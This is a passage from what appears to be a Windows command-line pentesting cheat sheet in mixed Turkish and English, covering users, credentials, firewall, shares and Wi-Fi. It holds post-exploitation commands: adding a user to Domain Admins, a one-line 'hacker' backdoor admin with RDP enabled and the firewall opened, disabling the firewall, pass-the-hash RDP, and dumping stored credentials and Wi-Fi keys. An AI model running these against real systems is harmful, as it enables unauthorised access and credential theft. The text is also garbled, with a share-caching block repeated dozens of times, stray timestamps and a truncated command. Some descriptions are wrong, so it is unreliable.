Olay İzleme, belirli bir olayın gerçekleştiğinde tetiklenen bir eylem gerçekleştirmek için kullanılır. Olay İzleme, PowerShell veya Komut İstemi aracılığıyla yapılandırılabilir. İşte Olay İzleme ile ilgili bazı temel komutlar:
- **wevtutil**: Olay İzleme hizmetini yönetmek için kullanılır.
- **wevtutil qe**: Belirli bir günlüğü sorgular.
- **wevtutil gli**: Belirli bir günlüğün ayrıntılarını görüntüler.
- **wevtutil el**: Mevcut günlükleri listeler.
Bu temel komutlar, bir pentester'ın Windows işletim sistemi üzerinde günlükleri ve olayları analiz etmesine yardımcı olabilir.
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
#### List Users
To list all users on the system, you can use the following command:
```plaintext
net user
```
#### Create User
To create a new user, you can use the following command:
```plaintext
net user <username> <password> /add
```
#### Delete User
To delete a user, you can use the following command:
```plaintext
net user <username> /delete
```
### Groups
#### List Groups
To list all groups on the system, you can use the following command:
```plaintext
net localgroup
```
#### Add User to Group
To add a user to a group, you can use the following command:
```plaintext
net localgroup <groupname> <username> /add
```
#### Remove User from Group
To remove a user from a group, you can use the following command:
```plaintext
net localgroup <groupname> <username> /delete
```
## Services
### List Services
To list all services on the system, you can use the following command:
```plaintext
sc query
```
### Start Service
To start a service, you can use the following command:
```plaintext
sc start <servicename>
```
### Stop Service
To stop a service, you can use the following command:
```plaintext
sc stop <servicename>
```
### Disable Service
To disable a service, you can use the following command:
```plaintext
sc config <servicename> start= disabled
```
### Enable Service
To enable a service, you can use the following command:
```plaintext
sc config <servicename> start= auto
```
## Firewall
### List Firewall Rules
To list all firewall rules, you can use the following command:
```plaintext
netsh advfirewall firewall show rule name=all
```
### Add Firewall Rule
To add a new firewall rule, you can use the following command:
```plaintext
netsh advfirewall firewall add rule name=<rulename> dir=in action=allow protocol=<protocol> localport=<port>
```
### Delete Firewall Rule
To delete a firewall rule, you can use the following command:
```plaintext
netsh advfirewall firewall delete rule name=<rulename>
```
## Registry
### Add Registry Key
To add a new registry key, you can use the following command:
```plaintext
reg add <keypath> /v <valuename> /t <datatype> /d <datavalue>
```
### Delete Registry Key
To delete a registry key, you can use the following command:
```plaintext
reg delete <keypath> /f
```
### Query Registry Key
To query a registry key, you can use the following command:
```plaintext
reg query <keypath>
```
### Modify Registry Key
To modify a registry key, you can use the following command:
```plaintext
reg add <keypath> /v <valuename> /t <datatype> /d <datavalue> /f
```
```bash
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user
# Other users looged
qwinsta #Anyone else logged in?
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```
### Gruplar
Groups are a fundamental concept in Windows operating systems. They are used to organize and manage user accounts and provide access control to various resources. In this section, we will explore some basic commands related to groups that can be useful for pentesters.
#### List Groups
To list all the groups on a Windows system, you can use the `net localgroup` command. This command will display the names of all the groups along with their descriptions.
```plaintext
net localgroup
```
#### List Group Members
To list the members of a specific group, you can use the `net localgroup` command followed by the group name. This command will display the names of all the users and other groups that are members of the specified group.
```plaintext
net localgroup <group_name>
```
#### Add User to Group
To add a user to a specific group, you can use the `net localgroup` command followed by the group name and the username. This command will add the specified user to the specified group.
```plaintext
net localgroup <group_name> <username> /add
```
#### Remove User from Group
To remove a user from a specific group, you can use the `net localgroup` command followed by the group name and the username. This command will remove the specified user from the specified group.
```plaintext
net localgroup <group_name> <username> /delete
```
#### Create Group
To create a new group, you can use the `net localgroup` command followed by the group name and the /add option. This command will create a new group with the specified name.
```plaintext
net localgroup <group_name> /add
```
#### Delete Group
To delete a group, you can use the `net localgroup` command followed by the group name and the /delete option. This command will delete the specified group.
```plaintext
net localgroup <group_name> /delete
```
These are some basic commands related to groups in Windows. Understanding how groups work and how to manage them can be helpful for pentesters during their engagements.
```bash
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
```
To list active sessions, you can use the `query session` command. This command will display information about all active sessions on the Windows system.
```plaintext
C:\> query session
```
Bu komutu kullanarak etkin oturumları listeyebilirsiniz. Bu komut, Windows sistemdeki tüm etkin oturumlar hakkında bilgi gösterecektir.
```plaintext
C:\> query session
```
```
qwinsta
klist sessions
```
### Parola Politikası
A strong password policy is essential for maintaining the security of a system. It helps to prevent unauthorized access and protects sensitive information. Here are some key points to consider when implementing a password policy:
- **Password Length**: Require passwords to be a minimum of 8 characters long. Longer passwords are generally more secure.
- **Complexity**: Passwords should include a combination of uppercase and lowercase letters, numbers, and special characters.
- **Password Expiration**: Set a policy that requires users to change their passwords regularly, such as every 90 days.
- **Password History**: Prevent users from reusing their previous passwords by enforcing a password history policy.
- **Account Lockout**: Implement an account lockout policy that temporarily locks an account after a certain number of failed login attempts.
- **Password Recovery**: Use secure methods for password recovery, such as security questions or email verification.
- **Education and Awareness**: Educate users about the importance of strong passwords and provide guidelines for creating and managing them.
By implementing a strong password policy, you can significantly enhance the security of your system and protect against unauthorized access.
```
net accounts
```
### Kimlik Bilgileri
Credentials (kimlik bilgileri), bir kullanıcının kimliğini doğrulamak için kullanılan bilgilerdir. Bu bilgiler, genellikle kullanıcı adı ve paroladan oluşur. Kimlik bilgileri, bir kullanıcının yetkilendirilmiş erişim sağlamasına izin verir ve güvenliği sağlamak için gizli tutulmalıdır.
#### Kullanıcı Adı ve Parola
Kullanıcı adı ve parola, en yaygın kimlik bilgileri türüdür. Kullanıcı adı, bir kullanıcının sistemdeki benzersiz tanımlayıcısıdır. Parola ise kullanıcının kimliğini doğrulamak için kullanılan gizli bir dizedir. Güçlü bir parola seçmek, yetkisiz erişimi önlemek için önemlidir.
#### Diğer Kimlik Bilgileri Türleri
- Sertifika: Bir kullanıcının kimliğini doğrulamak için kullanılan dijital bir belgedir.
- Biyometrik Veriler: Parmak izi, yüz tanıma veya retina taraması gibi fiziksel özelliklerin kullanıldığı kimlik doğrulama yöntemidir.
- Anahtarlar: Kriptografik anahtarlar, kimlik doğrulama ve veri şifreleme için kullanılır.
- Tokenlar: Fiziksel veya sanal cihazlar aracılığıyla kimlik doğrulama sağlayan küçük veri parçacıklarıdır.
Kimlik bilgilerinin güvenliği, kullanıcıların yetkisiz erişimden korunmasını sağlamak için büyük önem taşır. Kullanıcılar, güçlü parolalar kullanmalı, kimlik bilgilerini güvende tutmalı ve kimlik doğrulama yöntemlerini dikkatli bir şekilde seçmelidir.
```bash
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```
### Kullanıcılarla Kalıcılık
When performing a penetration test, it is important to establish persistence on the target system in order to maintain access even after the initial compromise. This can be achieved by creating a new user account or by leveraging existing user accounts with weak passwords.
Bir penetrasyon testi gerçekleştirirken, hedef sistemde erişimi sürdürebilmek için kalıcılık sağlamak önemlidir. Bu, yeni bir kullanıcı hesabı oluşturarak veya zayıf şifreleri olan mevcut kullanıcı hesaplarını kullanarak elde edilebilir.
#### Creating a New User Account
##### Yeni Bir Kullanıcı Hesabı Oluşturma
To create a new user account, you can use the `net user` command in the Windows command prompt. Here is the syntax:
Yeni bir kullanıcı hesabı oluşturmak için, Windows komut isteminde `net user` komutunu kullanabilirsiniz. İşte sözdizimi:
```plaintext
net user <username> <password> /add
```
Replace `<username>` with the desired username for the new account and `<password>` with the desired password. This will create a new user account with the specified username and password.
`<username>` yerine yeni hesap için istediğiniz kullanıcı adını, `<password>` ise istediğiniz şifreyi yazın. Bu, belirtilen kullanıcı adı ve şifreyle yeni bir kullanıcı hesabı oluşturacaktır.
#### Leveraging Existing User Accounts
##### Mevcut Kullanıcı Hesaplarını Kullanma
If you have access to an existing user account with weak password, you can use it to establish persistence. Here are some techniques you can use:
Zayıf bir şifreye sahip mevcut bir kullanıcı hesabına erişiminiz varsa, kalıcılık sağlamak için bunu kullanabilirsiniz. İşte kullanabileceğiniz bazı teknikler:
- **Password Spraying**: Password spraying involves trying a small number of commonly used passwords against multiple user accounts. This can be done using tools like `Hydra` or `Burp Suite Intruder`.
- **Şifre Sıçratma**: Şifre sıçratma, birkaç yaygın olarak kullanılan şifreyi birden fazla kullanıcı hesabına karşı denemeyi içerir. Bu, `Hydra` veya `Burp Suite Intruder` gibi araçlar kullanılarak yapılabilir.
- **Password Cracking**: If you have access to the password hashes of user accounts, you can use password cracking tools like `John the Ripper` or `Hashcat` to crack the passwords.
- **Şifre Kırma**: Kullanıcı hesaplarının şifre karma değerlerine erişiminiz varsa, `John the Ripper` veya `Hashcat` gibi şifre kırma araçlarını kullanarak şifreleri kırabilirsiniz.
- **Pass-the-Hash**: Pass-the-Hash is a technique where you use the NTLM hash of a user's password to authenticate as that user without knowing the actual password. Tools like `Mimikatz` can be used for pass-the-hash attacks.
- **Pass-the-Hash**: Pass-the-Hash, bir kullanıcının NTLM karma değerini kullanarak gerçek şifreyi bilmeden o kullanıcı olarak kimlik doğrulama yapma tekniğidir. `Mimikatz` gibi araçlar, pass-the-hash saldırıları için kullanılabilir.
By leveraging existing user accounts, you can maintain persistence on the target system and continue to access it even if the initial compromise is detected and remediated.
Mevcut kullanıcı hesaplarını kullanarak, hedef sistemde kalıcılığı sürdürebilir ve başlangıçta tespit edilen ve giderilen bir saldırı durumunda bile erişime devam edebilirsiniz.
```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```
## Ağ
### Arayüzler, Rotalar, Portlar, Ana Bilgisayarlar ve DNS Önbelleği
Arayüzler, ağa bağlı cihazların ağ trafiğini alıp ileten noktalardır. Arayüzlerin IP adresleri, alt ağ maskeleri ve diğer ağ yapılandırmaları vardır.
Rotalar, ağ trafiğini yönlendiren yolları belirtir. Bir cihazın birden fazla ağa bağlı olması durumunda, rotalar trafiği doğru hedefe yönlendirmek için kullanılır.
Portlar, ağ üzerindeki iletişim için belirlenmiş numaralardır. Her bir port, belirli bir hizmete veya protokole atanmıştır.
Ana bilgisayarlar, ağ üzerindeki diğer cihazlarla iletişim kurmak için kullanılan cihazlardır. Her bir ana bilgisayarın benzersiz bir IP adresi vardır.
DNS önbelleği, DNS sorgularının sonuçlarını geçici olarak saklayan bir mekanizmadır. Bu, daha hızlı ve verimli DNS çözümlemesi sağlar.
```bash
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```
### Güvenlik Duvarı
Bir güvenlik duvarı, ağ trafiğini kontrol etmek ve istenmeyen erişimleri engellemek için kullanılan bir güvenlik önlemidir. Windows işletim sistemlerinde, Windows Güvenlik Duvarı adı verilen bir güvenlik duvarı bulunmaktadır. Bu güvenlik duvarı, gelen ve giden ağ trafiğini denetler ve belirli ağ protokollerini veya bağlantı noktalarını engelleyebilir.
#### Güvenlik Duvarı Durumunu Kontrol Etme
Güvenlik duvarının etkin olup olmadığını kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
```plaintext
netsh advfirewall show allprofiles
```
Bu komut, güvenlik duvarının etkin olup olmadığını ve hangi profillerde (genel, özel, etki alanı) etkin olduğunu gösterir.
#### Güvenlik Duvarını Etkinleştirme veya Devre Dışı Bırakma
Güvenlik duvarını etkinleştirmek veya devre dışı bırakmak için aşağıdaki komutları kullanabilirsiniz:
```plaintext
netsh advfirewall set allprofiles state on
```
```plaintext
netsh advfirewall set allprofiles state off
```
İlk komut, güvenlik duvarını etkinleştirirken, ikinci komut güvenlik duvarını devre dışı bırakır.
#### Güvenlik Duvarı Kurallarını Yönetme
Güvenlik duvarı kurallarını yönetmek için aşağıdaki komutları kullanabilirsiniz:
- Kuralları Listeleme:
```plaintext
netsh advfirewall firewall show rule name=all
```
Bu komut, tüm güvenlik duvarı kurallarını listeler.
- Kuralları Ekleme:
```plaintext
netsh advfirewall firewall add rule name="Rule Name" dir=in action=allow protocol=TCP localport=12345
```
Bu komut, belirli bir kural adıyla gelen TCP trafiğini belirtilen bir bağlantı noktasına izin veren bir kural ekler.
- Kuralları Silme:
```plaintext
netsh advfirewall firewall delete rule name="Rule Name"
```
Bu komut, belirli bir kural adına sahip olan bir güvenlik duvarı kuralını siler.
#### Özet
Bu bölümde, Windows işletim sistemlerindeki güvenlik duvarını kontrol etme, etkinleştirme/devre dışı bırakma ve kuralları yönetme konularını ele aldık. Güvenlik duvarı, ağ trafiğini kontrol etmek ve istenmeyen erişimleri engellemek için önemli bir güvenlik önlemidir.
```bash
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```
### Paylaşımlar
```plaintext
C:\> net share
```
Bu komut, bir Windows sistemdeki mevcut paylaşımları listeler.
```plaintext
C:\> net share <share_name>
```
Bu komut, belirli bir paylaşımın ayrıntılarını görüntüler.
```plaintext
C:\> net share <share_name> /delete
```
Bu komut, belirli bir paylaşımı siler.
```plaintext
C:\> net share <share_name>=<path> /grant:<user>,<permissions>
```
Bu komut, belirli bir kullanıcıya belirli bir paylaşıma erişim izni verir.
```plaintext
C:\> net share <share_name>=<path> /unlimited
```
Bu komut, belirli bir paylaşımın maksimum kullanıcı sayısını sınırsız yapar.
```plaintext
C:\> net share <share_name>=<path> /remark:"<comment>"
```
Bu komut, belirli bir paylaşım için bir açıklama ekler.
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
```
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Documents
```
Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Programs
```
Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:BranchCache
```
Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
```
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Documents
```
Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Programs
```
Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:BranchCache
```
Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
```
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Documents
```
Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Programs
```
Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:BranchCache
```
Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
```
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Documents
```
Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Programs
```
Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:BranchCache
```
Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
```
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Documents
```
Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Programs
```
Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:BranchCache
```
Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
```
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Documents
```
Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Programs
```
Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:BranchCache
```
Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
```
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Documents
```
Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Programs
```
Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:BranchCache
```
Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Documents
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Programs
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:BranchCache
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
2022-10-05 00:11:28 +00:00
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
2022-10-05 00:11:28 +00:00
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Documents
```
2022-10-05 00:11:28 +00:00
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır.
2022-10-05 00:11:28 +00:00
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Programs
```
2022-10-05 00:11:28 +00:00
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:BranchCache
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
2022-10-05 00:11:28 +00:00
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
2022-10-05 00:11:28 +00:00
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Documents
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Programs
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:BranchCache
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
2022-05-17 09:34:10 +00:00
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
2020-08-17 14:38:36 +00:00
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Documents
2022-05-17 09:34:10 +00:00
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Programs
2020-08-17 14:38:36 +00:00
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır.
2022-05-17 09:34:10 +00:00
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:BranchCache
2022-05-17 09:34:10 +00:00
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Documents
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini belgeler olarak yapılandırır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Programs
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini programlar olarak yapılandırır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:BranchCache
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini BranchCache olarak yapılandırır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:None
```
2022-10-05 00:11:28 +00:00
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini devre dışı bırakır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name>=<path> /cache:Manual
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini manuel olarak yapılandırır.
```plaintext
C:\> net share <share_name>=<path> /cache:Auto
```
2024-02-10 18:14:16 +00:00
Bu komut, belirli bir paylaşımın önbelleğini otomatik olarak yapılandırır.
2024-02-10 18:14:16 +00:00
```plaintext
C:\> net share <share_name
```bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```
2022-05-17 09:34:10 +00:00
### Wifi
2024-02-10 18:14:16 +00:00
#### Windows
##### List Available Wifi Networks
```plaintext
netsh wlan show networks
```
##### Connect to a Wifi Network
```plaintext
netsh wlan connect name="WifiName" ssid="WifiSSID"
```
##### Disconnect from a Wifi Network
```plaintext
netsh wlan disconnect
```
##### Show Saved Wifi Profiles
```plaintext
netsh wlan show profiles
```
##### Show Password of a Saved Wifi Profile
```plaintext
netsh wlan show profile name="WifiProfileName" key=clear
```
##### Delete a Saved Wifi Profile
```plaintext
netsh wlan delete profile name="WifiProfileName"
```
#### Linux
##### List Available Wifi Networks
```plaintext
nmcli device wifi list
```
##### Connect to a Wifi Network
```plaintext
nmcli device wifi connect SSID password PASSWORD
```
##### Disconnect from a Wifi Network
```plaintext
nmcli device disconnect wlan0
```
##### Show Saved Wifi Profiles
```plaintext
